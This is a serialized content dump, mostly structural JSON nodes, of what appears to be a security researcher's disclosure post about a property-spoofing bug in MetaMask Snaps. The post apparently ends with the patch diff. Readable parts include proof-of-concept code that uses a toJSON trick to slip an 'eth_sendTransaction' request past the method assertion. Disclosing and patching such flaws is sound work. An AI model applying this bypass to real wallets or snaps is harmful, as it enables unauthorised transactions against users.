"tag":153,"props":42620,"children":42621},{"style":160},[42622],{"type":26,"value":236},{"type":21,"tag":153,"props":42624,"children":42625},{"class":155,"line":3427},[42626,42630],{"type":21,"tag":153,"props":42627,"children":42628},{"style":1751},[42629],{"type":26,"value":19687},{"type":21,"tag":153,"props":42631,"children":42632},{"style":160},[42633],{"type":26,"value":236},{"type":21,"tag":153,"props":42635,"children":42636},{"class":155,"line":3448},[42637,42641,42646],{"type":21,"tag":153,"props":42638,"children":42639},{"style":192},[42640],{"type":26,"value":42415},{"type":21,"tag":153,"props":42642,"children":42643},{"style":671},[42644],{"type":26,"value":42645}," \"eth_sendTransaction\"",{"type":21,"tag":153,"props":42647,"children":42648},{"style":160},[42649],{"type":26,"value":792},{"type":21,"tag":153,"props":42651,"children":42652},{"class":155,"line":3456},[42653,42657],{"type":21,"tag":153,"props":42654,"children":42655},{"style":192},[42656],{"type":26,"value":42432},{"type":21,"tag":153,"props":42658,"children":42659},{"style":160},[42660],{"type":26,"value":42661}," [{\n",{"type":21,"tag":153,"props":42663,"children":42664},{"class":155,"line":3493},[42665,42669,42674,42678],{"type":21,"tag":153,"props":42666,"children":42667},{"style":192},[42668],{"type":26,"value":34759},{"type":21,"tag":153,"props":42670,"children":42671},{"style":671},[42672],{"type":26,"value":42673}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":21,"tag":153,"props":42675,"children":42676},{"style":160},[42677],{"type":26,"value":1670},{"type":21,"tag":153,"props":42679,"children":42680},{"style":3050},[42681],{"type":26,"value":42682},"// change this to your address\n",{"type":21,"tag":153,"props":42684,"children":42685},{"class":155,"line":3509},[42686,42690,42694],{"type":21,"tag":153,"props":42687,"children":42688},{"style":192},[42689],{"type":26,"value":34775},{"type":21,"tag":153,"props":42691,"children":42692},{"style":671},[42693],{"type":26,"value":42673},{"type":21,"tag":153,"props":42695,"children":42696},{"style":160},[42697],{"type":26,"value":792},{"type":21,"tag":153,"props":42699,"children":42700},{"class":155,"line":3517},[42701,42706,42711],{"type":21,"tag":153,"props":42702,"children":42703},{"style":192},[42704],{"type":26,"value":42705},"        value:",{"type":21,"tag":153,"props":42707,"children":42708},{"style":671},[42709],{"type":26,"value":42710}," \"0x1\"",{"type":21,"tag":153,"props":42712,"children":42713},{"style":160},[42714],{"type":26,"value":792},{"type":21,"tag":153,"props":42716,"children":42717},{"class":155,"line":3526},[42718],{"type":21,"tag":153,"props":42719,"children":42720},{"style":160},[42721],{"type":26,"value":42722},"      }]\n",{"type":21,"tag":153,"props":42724,"children":42725},{"class":155,"line":3607},[42726],{"type":21,"tag":153,"props":42727,"children":42728},{"style":160},[42729],{"type":26,"value":539},{"type":21,"tag":153,"props":42731,"children":42732},{"class":155,"line":3615},[42733],{"type":21,"tag":153,"props":42734,"children":42735},{"style":160},[42736],{"type":26,"value":8601},{"type":21,"tag":153,"props":42738,"children":42739},{"class":155,"line":3629},[42740],{"type":21,"tag":153,"props":42741,"children":42742},{"emptyLinePlaceholder":16},[42743],{"type":26,"value":759},{"type":21,"tag":153,"props":42745,"children":42746},{"class":155,"line":26297},[42747,42751,42755,42759,42763,42767,42771],{"type":21,"tag":153,"props":42748,"children":42749},{"style":1751},[42750],{"type":26,"value":41890},{"type":21,"tag":153,"props":42752,"children":42753},{"style":192},[42754],{"type":26,"value":42470},{"type":21,"tag":153,"props":42756,"children":42757},{"style":160},[42758],{"type":26,"value":355},{"type":21,"tag":153,"props":42760,"children":42761},{"style":181},[42762],{"type":26,"value":34188},{"type":21,"tag":153,"props":42764,"children":42765},{"style":160},[42766],{"type":26,"value":189},{"type":21,"tag":153,"props":42768,"children":42769},{"style":192},[42770],{"type":26,"value":21972},{"type":21,"tag":153,"props":42772,"children":42773},{"style":160},[42774],{"type":26,"value":530},{"type":21,"tag":153,"props":42776,"children":42777},{"class":155,"line":26330},[42778],{"type":21,"tag":153,"props":42779,"children":42780},{"style":160},[42781],{"type":26,"value":548},{"type":21,"tag":153,"props":42783,"children":42784},{"class":155,"line":26338},[42785],{"type":21,"tag":153,"props":42786,"children":42787},{"emptyLinePlaceholder":16},[42788],{"type":26,"value":759},{"type":21,"tag":153,"props":42790,"children":42791},{"class":155,"line":26346},[42792,42796,42800,42805,42809,42814,42818,42823,42828,42832,42836,42841,42845],{"type":21,"tag":153,"props":42793,"children":42794},{"style":1751},[42795],{"type":26,"value":40902},{"type":21,"tag":153,"props":42797,"children":42798},{"style":170},[42799],{"type":26,"value":41802},{"type":21,"tag":153,"props":42801,"children":42802},{"style":181},[42803],{"type":26,"value":42804}," onRpcRequest",{"type":21,"tag":153,"props":42806,"children":42807},{"style":198},[42808],{"type":26,"value":201},{"type":21,"tag":153,"props":42810,"children":42811},{"style":214},[42812],{"type":26,"value":42813}," OnRpcRequestHandler",{"type":21,"tag":153,"props":42815,"children":42816},{"style":198},[42817],{"type":26,"value":255},{"type":21,"tag":153,"props":42819,"children":42820},{"style":160},[42821],{"type":26,"value":42822}," ({ ",{"type":21,"tag":153,"props":42824,"children":42825},{"style":192},[42826],{"type":26,"value":42827},"origin",{"type":21,"tag":153,"props":42829,"children":42830},{"style":160},[42831],{"type":26,"value":1670},{"type":21,"tag":153,"props":42833,"children":42834},{"style":192},[42835],{"type":26,"value":34188},{"type":21,"tag":153,"props":42837,"children":42838},{"style":160},[42839],{"type":26,"value":42840}," }) ",{"type":21,"tag":153,"props":42842,"children":42843},{"style":170},[42844],{"type":26,"value":17524},{"type":21,"tag":153,"props":42846,"children":42847},{"style":160},[42848],{"type":26,"value":236},{"type":21,"tag":153,"props":42850,"children":42851},{"class":155,"line":26355},[42852],{"type":21,"tag":153,"props":42853,"children":42854},{"emptyLinePlaceholder":16},[42855],{"type":26,"value":759},{"type":21,"tag":153,"props":42857,"children":42858},{"class":155,"line":26431},[42859,42864,42868,42872,42876,42880],{"type":21,"tag":153,"props":42860,"children":42861},{"style":1751},[42862],{"type":26,"value":42863},"  switch",{"type":21,"tag":153,"props":42865,"children":42866},{"style":160},[42867],{"type":26,"value":5820},{"type":21,"tag":153,"props":42869,"children":42870},{"style":192},[42871],{"type":26,"value":34188},{"type":21,"tag":153,"props":42873,"children":42874},{"style":160},[42875],{"type":26,"value":355},{"type":21,"tag":153,"props":42877,"children":42878},{"style":192},[42879],{"type":26,"value":41005},{"type":21,"tag":153,"props":42881,"children":42882},{"style":160},[42883],{"type":26,"value":2659},{"type":21,"tag":153,"props":42885,"children":42886},{"class":155,"line":26464},[42887,42892,42897],{"type":21,"tag":153,"props":42888,"children":42889},{"style":1751},[42890],{"type":26,"value":42891},"    case",{"type":21,"tag":153,"props":42893,"children":42894},{"style":671},[42895],{"type":26,"value":42896}," 'json'",{"type":21,"tag":153,"props":42898,"children":42899},{"style":160},[42900],{"type":26,"value":8299},{"type":21,"tag":153,"props":42902,"children":42903},{"class":155,"line":26472},[42904,42908,42912],{"type":21,"tag":153,"props":42905,"children":42906},{"style":1751},[42907],{"type":26,"value":42048},{"type":21,"tag":153,"props":42909,"children":42910},{"style":181},[42911],{"type":26,"value":42291},{"type":21,"tag":153,"props":42913,"children":42914},{"style":160},[42915],{"type":26,"value":839},{"type":21,"tag":153,"props":42917,"children":42918},{"class":155,"line":26480},[42919,42923,42928],{"type":21,"tag":153,"props":42920,"children":42921},{"style":1751},[42922],{"type":26,"value":42891},{"type":21,"tag":153,"props":42924,"children":42925},{"style":671},[42926],{"type":26,"value":42927}," 'transaction'",{"type":21,"tag":153,"props":42929,"children":42930},{"style":160},[42931],{"type":26,"value":8299},{"type":21,"tag":153,"props":42933,"children":42934},{"class":155,"line":26517},[42935,42939,42943],{"type":21,"tag":153,"props":42936,"children":42937},{"style":1751},[42938],{"type":26,"value":42048},{"type":21,"tag":153,"props":42940,"children":42941},{"style":181},[42942],{"type":26,"value":42523},{"type":21,"tag":153,"props":42944,"children":42945},{"style":160},[42946],{"type":26,"value":839},{"type":21,"tag":153,"props":42948,"children":42949},{"class":155,"line":26530},[42950,42955],{"type":21,"tag":153,"props":42951,"children":42952},{"style":1751},[42953],{"type":26,"value":42954},"    default",{"type":21,"tag":153,"props":42956,"children":42957},{"style":160},[42958],{"type":26,"value":8299},{"type":21,"tag":153,"props":42960,"children":42961},{"class":155,"line":26543},[42962,42967,42971,42976,42980,42985],{"type":21,"tag":153,"props":42963,"children":42964},{"style":1751},[42965],{"type":26,"value":42966},"      throw",{"type":21,"tag":153,"props":42968,"children":42969},{"style":170},[42970],{"type":26,"value":34627},{"type":21,"tag":153,"props":42972,"children":42973},{"style":181},[42974],{"type":26,"value":42975}," Error",{"type":21,"tag":153,"props":42977,"children":42978},{"style":160},[42979],{"type":26,"value":189},{"type":21,"tag":153,"props":42981,"children":42982},{"style":671},[42983],{"type":26,"value":42984},"'Method not found.'",{"type":21,"tag":153,"props":42986,"children":42987},{"style":160},[42988],{"type":26,"value":530},{"type":21,"tag":153,"props":42990,"children":42991},{"class":155,"line":26556},[42992],{"type":21,"tag":153,"props":42993,"children":42994},{"style":160},[42995],{"type":26,"value":8601},{"type":21,"tag":153,"props":42997,"children":42998},{"class":155,"line":26610},[42999],{"type":21,"tag":153,"props":43000,"children":43001},{"style":160},[43002],{"type":26,"value":19275},{"type":21,"tag":22,"props":43004,"children":43005},{},[43006,43008,43014,43016,43021],{"type":26,"value":43007},"We set ",{"type":21,"tag":78,"props":43009,"children":43011},{"className":43010},[],[43012],{"type":26,"value":43013},"x.method = \"snap_dialog\"",{"type":26,"value":43015}," to pass the assertion and setup a toJSON function to change this method to ",{"type":21,"tag":78,"props":43017,"children":43019},{"className":43018},[],[43020],{"type":26,"value":42223},{"type":26,"value":43022}," after.",{"type":21,"tag":114,"props":43024,"children":43026},{"id":43025},"mitigation",[43027],{"type":26,"value":43028},"Mitigation",{"type":21,"tag":22,"props":43030,"children":43031},{},[43032,43034,43039,43041,43048],{"type":26,"value":43033},"Metamask mitigated this issue by asserting the arguments after the ",{"type":21,"tag":78,"props":43035,"children":43037},{"className":43036},[],[43038],{"type":26,"value":41767},{"type":26,"value":43040}," function execution. The patch was introduced on commit ",{"type":21,"tag":29,"props":43042,"children":43045},{"href":43043,"rel":43044},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[33],[43046],{"type":26,"value":43047},"168ff08",{"type":26,"value":43049}," with the following changes:",{"type":21,"tag":143,"props":43051,"children":43055},{"className":43052,"code":43053,"language":43054,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[43056],{"type":21,"tag":78,"props":43057,"children":43058},{"__ignoreMap":7},[43059,43067,43075,43083,43091],{"type":21,"tag":153,"props":43060,"children":43061},{"class":155,"line":156},[43062],{"type":21,"tag":153,"props":43063,"children":43064},{"style":160},[43065],{"type":26,"value":43066},"const request = async (args: RequestArguments) => {\n",{"type":21,"tag":153,"props":43068,"children":43069},{"class":155,"line":166},[43070],{"type":21,"tag":153,"props":43071,"children":43072},{"style":671},[43073],{"type":26,"value":43074},"-      assertEthereumOutboundRequest(args);\n",{"type":21,"tag":153,"props":43076,"children":43077},{"class":155,"line":225},[43078],{"type":21,"tag":153,"props":43079,"children":43080},{"style":671},[43081],{"type":26,"value":43082},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":21,"tag":153,"props":43084,"children":43085},{"class":155,"line":239},[43086],{"type":21,"tag":153,"props":43087,"children":43088},{"style":300},[43089],{"type":26,"value":43090},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":21,"tag":153,"props":43092,"children":43093},{"class":155,"line":382},[43094],{"type":21,"tag":153,"props":43095,"children":43096},{"style":300},[43097],{"type":26,"value":43098},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":21,"tag":66,"props":43100,"children":43101},{"id":5568},[43102],{"type":26,"value":5571},{"type":21,"tag":22,"props":43104,"children":43105},{},[43106],{"type":26,"value":43107},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":21,"tag":22,"props":43109,"children":43110},{},[43111],{"type":26,"value":43112},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":21,"tag":5603,"props":43114,"children":43115},{},[43116],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":43118},[43119,43120,43127,43135],{"id":68,"depth":166,"text":71},{"id":38146,"depth":166,"text":38149,"children":43121},[43122,43123,43124,43125,43126],{"id":38157,"depth":225,"text":38160},{"id":38225,"depth":225,"text":38228},{"id":38261,"depth":225,"text":38264},{"id":39656,"depth":225,"text":39659},{"id":40014,"depth":225,"text":40017},{"id":40801,"depth":166,"text":40804,"children":43128},[43129,43130,43131,43132,43133,43134],{"id":40807,"depth":225,"text":40810},{"id":40851,"depth":225,"text":40854},{"id":41753,"depth":225,"text":41756},{"id":8393,"depth":225,"text":8396},{"id":42196,"depth":225,"text":37523},{"id":43025,"depth":225,"text":43028},{"id":5568,"depth":166,"text":5571},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":43140,"image":43141,"date":15,"isFeatured":16,"onBlogPage":16,"body":43142,"_type":5619,"_id":5620,"_source":5621,"_file":5622,"_stem":5623,"_extension":5624},[11,12],{"src":14},{"type":18,"children":43143,"toc":48152},[43144,43154,43169,43173,43177,43187,43208,43212,43216,43229,43571,43584,43836,43849,44489,44493,44497,44507,44514,44709,44716,45003,45010,45146,45153,45654,45658,45668,45678,45688,45692,46419,46423,46429,46433,46437,46447,46502,46506,46516,46526,46530,46552,47597,47607,47642,47646,47650,47660,47793,47808,47826,47832,47877,47883,47892,47902,47906,48017,48027,48121,48125,48135,48139,48148],{"type":21,"tag":22,"props":43145,"children":43146},{},[43147,43148,43153],{"type":26,"value":27},{"type":21,"tag":29,"props":43149,"children":43151},{"href":31,"rel":43150},[33],[43152],{"type":26,"value":36},{"type":26,"value":38},{"type":21,"tag":22,"props":43155,"children":43156},{},[43157,43158,43163,43164],{"type":26,"value":43},{"type":21,"tag":29,"props":43159,"children":43161},{"href":46,"rel":43160},[33],[43162],{"type":26,"value":50},{"type":26,"value":52},{"type":21,"tag":29,"props":43165,"children":43167},{"href":55,"rel":43166},[33],[43168],{"type":26,"value":59},{"type":21,"tag":22,"props":43170,"children":43171},{},[43172],{"type":26,"value":64},{"type":21,"tag":66,"props":43174,"children":43175},{"id":68},[43176],{"type":26,"value":71},{"type":21,"tag":22,"props":43178,"children":43179},{},[43180,43181,43186],{"type":26,"value":76},{"type":21,"tag":78,"props":43182,"children":43184},{"className":43183},[],[43185],{"type":26,"value":83},{"type":26,"value":85},{"type":21,"tag":87,"props":43188,"children":43189},{},[43190,43199],{"type":21,"tag":91,"props":43191,"children":43192},{},[43193,43198],{"type":21,"tag":78,"props":43194,"children":43196},{"className":43195},[],[43197],{"type":26,"value":99},{"type":26,"value":101},{"type":21,"tag":91,"props":43200,"children":43201},{},[43202,43207],{"type":21,"tag":78,"props":43203,"children":43205},{"className":43204},[],[43206],{"type":26,"value":110},{"type":26,"value":112},{"type":21,"tag":114,"props":43209,"children":43210},{"id":116},[43211],{"type":26,"value":119},{"type":21,"tag":22,"props":43213,"children":43214},{},[43215],{"type":26,"value":124},{"type":21,"tag":126,"props":43217,"children":43218},{},[43219],{"type":21,"tag":91,"props":43220,"children":43221},{},[43222,43223,43228],{"type":26,"value":133},{"type":21,"tag":78,"props":43224,"children":43226},{"className":43225},[],[43227],{"type":26,"value":139},{"type":26,"value":141},{"type":21,"tag":143,"props":43230,"children":43231},{"className":145,"code":146,"language":147,"meta":7,"style":7},[43232],{"type":21,"tag":78,"props":43233,"children":43234},{"__ignoreMap":7},[43235,43242,43285,43296,43415,43530,43557,43564],{"type":21,"tag":153,"props":43236,"children":43237},{"class":155,"line":156},[43238],{"type":21,"tag":153,"props":43239,"children":43240},{"style":160},[43241],{"type":26,"value":163},{"type":21,"tag":153,"props":43243,"children":43244},{"class":155,"line":166},[43245,43249,43253,43257,43261,43265,43269,43273,43277,43281],{"type":21,"tag":153,"props":43246,"children":43247},{"style":170},[43248],{"type":26,"value":173},{"type":21,"tag":153,"props":43250,"children":43251},{"style":170},[43252],{"type":26,"value":178},{"type":21,"tag":153,"props":43254,"children":43255},{"style":181},[43256],{"type":26,"value":184},{"type":21,"tag":153,"props":43258,"children":43259},{"style":160},[43260],{"type":26,"value":189},{"type":21,"tag":153,"props":43262,"children":43263},{"style":192},[43264],{"type":26,"value":195},{"type":21,"tag":153,"props":43266,"children":43267},{"style":198},[43268],{"type":26,"value":201},{"type":21,"tag":153,"props":43270,"children":43271},{"style":198},[43272],{"type":26,"value":206},{"type":21,"tag":153,"props":43274,"children":43275},{"style":160},[43276],{"type":26,"value":211},{"type":21,"tag":153,"props":43278,"children":43279},{"style":214},[43280],{"type":26,"value":217},{"type":21,"tag":153,"props":43282,"children":43283},{"style":160},[43284],{"type":26,"value":222},{"type":21,"tag":153,"props":43286,"children":43287},{"class":155,"line":225},[43288,43292],{"type":21,"tag":153,"props":43289,"children":43290},{"style":170},[43291],{"type":26,"value":231},{"type":21,"tag":153,"props":43293,"children":43294},{"style":160},[43295],{"type":26,"value":236},{"type":21,"tag":153,"props":43297,"children":43298},{"class":155,"line":239},[43299,43303,43307,43311,43315,43319,43323,43327,43331,43335,43339,43343,43347,43351,43355,43359,43363,43367,43371,43375,43379,43383,43387,43391,43395,43399,43403,43407,43411],{"type":21,"tag":153,"props":43300,"children":43301},{"style":170},[43302],{"type":26,"value":245},{"type":21,"tag":153,"props":43304,"children":43305},{"style":192},[43306],{"type":26,"value":250},{"type":21,"tag":153,"props":43308,"children":43309},{"style":198},[43310],{"type":26,"value":255},{"type":21,"tag":153,"props":43312,"children":43313},{"style":160},[43314],{"type":26,"value":260},{"type":21,"tag":153,"props":43316,"children":43317},{"style":198},[43318],{"type":26,"value":265},{"type":21,"tag":153,"props":43320,"children":43321},{"style":160},[43322],{"type":26,"value":270},{"type":21,"tag":153,"props":43324,"children":43325},{"style":198},[43326],{"type":26,"value":265},{"type":21,"tag":153,"props":43328,"children":43329},{"style":181},[43330],{"type":26,"value":279},{"type":21,"tag":153,"props":43332,"children":43333},{"style":198},[43334],{"type":26,"value":265},{"type":21,"tag":153,"props":43336,"children":43337},{"style":160},[43338],{"type":26,"value":288},{"type":21,"tag":153,"props":43340,"children":43341},{"style":214},[43342],{"type":26,"value":217},{"type":21,"tag":153,"props":43344,"children":43345},{"style":160},[43346],{"type":26,"value":297},{"type":21,"tag":153,"props":43348,"children":43349},{"style":300},[43350],{"type":26,"value":303},{"type":21,"tag":153,"props":43352,"children":43353},{"style":160},[43354],{"type":26,"value":308},{"type":21,"tag":153,"props":43356,"children":43357},{"style":198},[43358],{"type":26,"value":313},{"type":21,"tag":153,"props":43360,"children":43361},{"style":170},[43362],{"type":26,"value":318},{"type":21,"tag":153,"props":43364,"children":43365},{"style":214},[43366],{"type":26,"value":323},{"type":21,"tag":153,"props":43368,"children":43369},{"style":160},[43370],{"type":26,"value":328},{"type":21,"tag":153,"props":43372,"children":43373},{"style":192},[43374],{"type":26,"value":195},{"type":21,"tag":153,"props":43376,"children":43377},{"style":160},[43378],{"type":26,"value":211},{"type":21,"tag":153,"props":43380,"children":43381},{"style":198},[43382],{"type":26,"value":341},{"type":21,"tag":153,"props":43384,"children":43385},{"style":300},[43386],{"type":26,"value":303},{"type":21,"tag":153,"props":43388,"children":43389},{"style":160},[43390],{"type":26,"value":350},{"type":21,"tag":153,"props":43392,"children":43393},{"style":198},[43394],{"type":26,"value":355},{"type":21,"tag":153,"props":43396,"children":43397},{"style":181},[43398],{"type":26,"value":360},{"type":21,"tag":153,"props":43400,"children":43401},{"style":160},[43402],{"type":26,"value":365},{"type":21,"tag":153,"props":43404,"children":43405},{"style":198},[43406],{"type":26,"value":355},{"type":21,"tag":153,"props":43408,"children":43409},{"style":181},[43410],{"type":26,"value":374},{"type":21,"tag":153,"props":43412,"children":43413},{"style":160},[43414],{"type":26,"value":379},{"type":21,"tag":153,"props":43416,"children":43417},{"class":155,"line":382},[43418,43422,43426,43430,43434,43438,43442,43446,43450,43454,43458,43462,43466,43470,43474,43478,43482,43486,43490,43494,43498,43502,43506,43510,43514,43518,43522,43526],{"type":21,"tag":153,"props":43419,"children":43420},{"style":170},[43421],{"type":26,"value":245},{"type":21,"tag":153,"props":43423,"children":43424},{"style":192},[43425],{"type":26,"value":392},{"type":21,"tag":153,"props":43427,"children":43428},{"style":198},[43429],{"type":26,"value":255},{"type":21,"tag":153,"props":43431,"children":43432},{"style":160},[43433],{"type":26,"value":260},{"type":21,"tag":153,"props":43435,"children":43436},{"style":198},[43437],{"type":26,"value":265},{"type":21,"tag":153,"props":43439,"children":43440},{"style":160},[43441],{"type":26,"value":270},{"type":21,"tag":153,"props":43443,"children":43444},{"style":198},[43445],{"type":26,"value":265},{"type":21,"tag":153,"props":43447,"children":43448},{"style":181},[43449],{"type":26,"value":279},{"type":21,"tag":153,"props":43451,"children":43452},{"style":198},[43453],{"type":26,"value":265},{"type":21,"tag":153,"props":43455,"children":43456},{"style":160},[43457],{"type":26,"value":288},{"type":21,"tag":153,"props":43459,"children":43460},{"style":214},[43461],{"type":26,"value":217},{"type":21,"tag":153,"props":43463,"children":43464},{"style":160},[43465],{"type":26,"value":297},{"type":21,"tag":153,"props":43467,"children":43468},{"style":300},[43469],{"type":26,"value":303},{"type":21,"tag":153,"props":43471,"children":43472},{"style":160},[43473],{"type":26,"value":308},{"type":21,"tag":153,"props":43475,"children":43476},{"style":214},[43477],{"type":26,"value":445},{"type":21,"tag":153,"props":43479,"children":43480},{"style":160},[43481],{"type":26,"value":328},{"type":21,"tag":153,"props":43483,"children":43484},{"style":192},[43485],{"type":26,"value":195},{"type":21,"tag":153,"props":43487,"children":43488},{"style":160},[43489],{"type":26,"value":211},{"type":21,"tag":153,"props":43491,"children":43492},{"style":300},[43493],{"type":26,"value":303},{"type":21,"tag":153,"props":43495,"children":43496},{"style":198},[43497],{"type":26,"value":341},{"type":21,"tag":153,"props":43499,"children":43500},{"style":300},[43501],{"type":26,"value":470},{"type":21,"tag":153,"props":43503,"children":43504},{"style":160},[43505],{"type":26,"value":350},{"type":21,"tag":153,"props":43507,"children":43508},{"style":198},[43509],{"type":26,"value":355},{"type":21,"tag":153,"props":43511,"children":43512},{"style":181},[43513],{"type":26,"value":360},{"type":21,"tag":153,"props":43515,"children":43516},{"style":160},[43517],{"type":26,"value":365},{"type":21,"tag":153,"props":43519,"children":43520},{"style":198},[43521],{"type":26,"value":355},{"type":21,"tag":153,"props":43523,"children":43524},{"style":181},[43525],{"type":26,"value":374},{"type":21,"tag":153,"props":43527,"children":43528},{"style":160},[43529],{"type":26,"value":379},{"type":21,"tag":153,"props":43531,"children":43532},{"class":155,"line":501},[43533,43537,43541,43545,43549,43553],{"type":21,"tag":153,"props":43534,"children":43535},{"style":192},[43536],{"type":26,"value":507},{"type":21,"tag":153,"props":43538,"children":43539},{"style":198},[43540],{"type":26,"value":355},{"type":21,"tag":153,"props":43542,"children":43543},{"style":181},[43544],{"type":26,"value":516},{"type":21,"tag":153,"props":43546,"children":43547},{"style":160},[43548],{"type":26,"value":189},{"type":21,"tag":153,"props":43550,"children":43551},{"style":192},[43552],{"type":26,"value":525},{"type":21,"tag":153,"props":43554,"children":43555},{"style":160},[43556],{"type":26,"value":530},{"type":21,"tag":153,"props":43558,"children":43559},{"class":155,"line":533},[43560],{"type":21,"tag":153,"props":43561,"children":43562},{"style":160},[43563],{"type":26,"value":539},{"type":21,"tag":153,"props":43565,"children":43566},{"class":155,"line":542},[43567],{"type":21,"tag":153,"props":43568,"children":43569},{"style":160},[43570],{"type":26,"value":548},{"type":21,"tag":126,"props":43572,"children":43573},{"start":166},[43574],{"type":21,"tag":91,"props":43575,"children":43576},{},[43577,43578,43583],{"type":26,"value":133},{"type":21,"tag":78,"props":43579,"children":43581},{"className":43580},[],[43582],{"type":26,"value":561},{"type":26,"value":563},{"type":21,"tag":143,"props":43585,"children":43586},{"className":145,"code":566,"language":147,"meta":7,"style":7},[43587],{"type":21,"tag":78,"props":43588,"children":43589},{"__ignoreMap":7},[43590,43597,43640,43663,43690,43729,43748,43755,43762,43773,43788,43799,43810,43829],{"type":21,"tag":153,"props":43591,"children":43592},{"class":155,"line":156},[43593],{"type":21,"tag":153,"props":43594,"children":43595},{"style":160},[43596],{"type":26,"value":163},{"type":21,"tag":153,"props":43598,"children":43599},{"class":155,"line":166},[43600,43604,43608,43612,43616,43620,43624,43628,43632,43636],{"type":21,"tag":153,"props":43601,"children":43602},{"style":170},[43603],{"type":26,"value":173},{"type":21,"tag":153,"props":43605,"children":43606},{"style":170},[43607],{"type":26,"value":178},{"type":21,"tag":153,"props":43609,"children":43610},{"style":181},[43611],{"type":26,"value":593},{"type":21,"tag":153,"props":43613,"children":43614},{"style":160},[43615],{"type":26,"value":189},{"type":21,"tag":153,"props":43617,"children":43618},{"style":192},[43619],{"type":26,"value":195},{"type":21,"tag":153,"props":43621,"children":43622},{"style":198},[43623],{"type":26,"value":201},{"type":21,"tag":153,"props":43625,"children":43626},{"style":198},[43627],{"type":26,"value":206},{"type":21,"tag":153,"props":43629,"children":43630},{"style":160},[43631],{"type":26,"value":211},{"type":21,"tag":153,"props":43633,"children":43634},{"style":214},[43635],{"type":26,"value":217},{"type":21,"tag":153,"props":43637,"children":43638},{"style":160},[43639],{"type":26,"value":222},{"type":21,"tag":153,"props":43641,"children":43642},{"class":155,"line":225},[43643,43647,43651,43655,43659],{"type":21,"tag":153,"props":43644,"children":43645},{"style":170},[43646],{"type":26,"value":629},{"type":21,"tag":153,"props":43648,"children":43649},{"style":192},[43650],{"type":26,"value":634},{"type":21,"tag":153,"props":43652,"children":43653},{"style":198},[43654],{"type":26,"value":255},{"type":21,"tag":153,"props":43656,"children":43657},{"style":214},[43658],{"type":26,"value":643},{"type":21,"tag":153,"props":43660,"children":43661},{"style":160},[43662],{"type":26,"value":236},{"type":21,"tag":153,"props":43664,"children":43665},{"class":155,"line":239},[43666,43670,43674,43678,43682,43686],{"type":21,"tag":153,"props":43667,"children":43668},{"style":192},[43669],{"type":26,"value":655},{"type":21,"tag":153,"props":43671,"children":43672},{"style":198},[43673],{"type":26,"value":201},{"type":21,"tag":153,"props":43675,"children":43676},{"style":181},[43677],{"type":26,"value":664},{"type":21,"tag":153,"props":43679,"children":43680},{"style":160},[43681],{"type":26,"value":189},{"type":21,"tag":153,"props":43683,"children":43684},{"style":671},[43685],{"type":26,"value":674},{"type":21,"tag":153,"props":43687,"children":43688},{"style":160},[43689],{"type":26,"value":679},{"type":21,"tag":153,"props":43691,"children":43692},{"class":155,"line":382},[43693,43697,43701,43705,43709,43713,43717,43721,43725],{"type":21,"tag":153,"props":43694,"children":43695},{"style":192},[43696],{"type":26,"value":687},{"type":21,"tag":153,"props":43698,"children":43699},{"style":198},[43700],{"type":26,"value":201},{"type":21,"tag":153,"props":43702,"children":43703},{"style":192},[43704],{"type":26,"value":696},{"type":21,"tag":153,"props":43706,"children":43707},{"style":198},[43708],{"type":26,"value":355},{"type":21,"tag":153,"props":43710,"children":43711},{"style":181},[43712],{"type":26,"value":360},{"type":21,"tag":153,"props":43714,"children":43715},{"style":160},[43716],{"type":26,"value":365},{"type":21,"tag":153,"props":43718,"children":43719},{"style":198},[43720],{"type":26,"value":355},{"type":21,"tag":153,"props":43722,"children":43723},{"style":181},[43724],{"type":26,"value":374},{"type":21,"tag":153,"props":43726,"children":43727},{"style":160},[43728],{"type":26,"value":721},{"type":21,"tag":153,"props":43730,"children":43731},{"class":155,"line":501},[43732,43736,43740,43744],{"type":21,"tag":153,"props":43733,"children":43734},{"style":192},[43735],{"type":26,"value":729},{"type":21,"tag":153,"props":43737,"children":43738},{"style":198},[43739],{"type":26,"value":201},{"type":21,"tag":153,"props":43741,"children":43742},{"style":181},[43743],{"type":26,"value":738},{"type":21,"tag":153,"props":43745,"children":43746},{"style":160},[43747],{"type":26,"value":743},{"type":21,"tag":153,"props":43749,"children":43750},{"class":155,"line":533},[43751],{"type":21,"tag":153,"props":43752,"children":43753},{"style":160},[43754],{"type":26,"value":751},{"type":21,"tag":153,"props":43756,"children":43757},{"class":155,"line":542},[43758],{"type":21,"tag":153,"props":43759,"children":43760},{"emptyLinePlaceholder":16},[43761],{"type":26,"value":759},{"type":21,"tag":153,"props":43763,"children":43764},{"class":155,"line":762},[43765,43769],{"type":21,"tag":153,"props":43766,"children":43767},{"style":181},[43768],{"type":26,"value":768},{"type":21,"tag":153,"props":43770,"children":43771},{"style":160},[43772],{"type":26,"value":773},{"type":21,"tag":153,"props":43774,"children":43775},{"class":155,"line":776},[43776,43780,43784],{"type":21,"tag":153,"props":43777,"children":43778},{"style":198},[43779],{"type":26,"value":782},{"type":21,"tag":153,"props":43781,"children":43782},{"style":192},[43783],{"type":26,"value":787},{"type":21,"tag":153,"props":43785,"children":43786},{"style":160},[43787],{"type":26,"value":792},{"type":21,"tag":153,"props":43789,"children":43790},{"class":155,"line":795},[43791,43795],{"type":21,"tag":153,"props":43792,"children":43793},{"style":198},[43794],{"type":26,"value":782},{"type":21,"tag":153,"props":43796,"children":43797},{"style":160},[43798],{"type":26,"value":805},{"type":21,"tag":153,"props":43800,"children":43801},{"class":155,"line":808},[43802,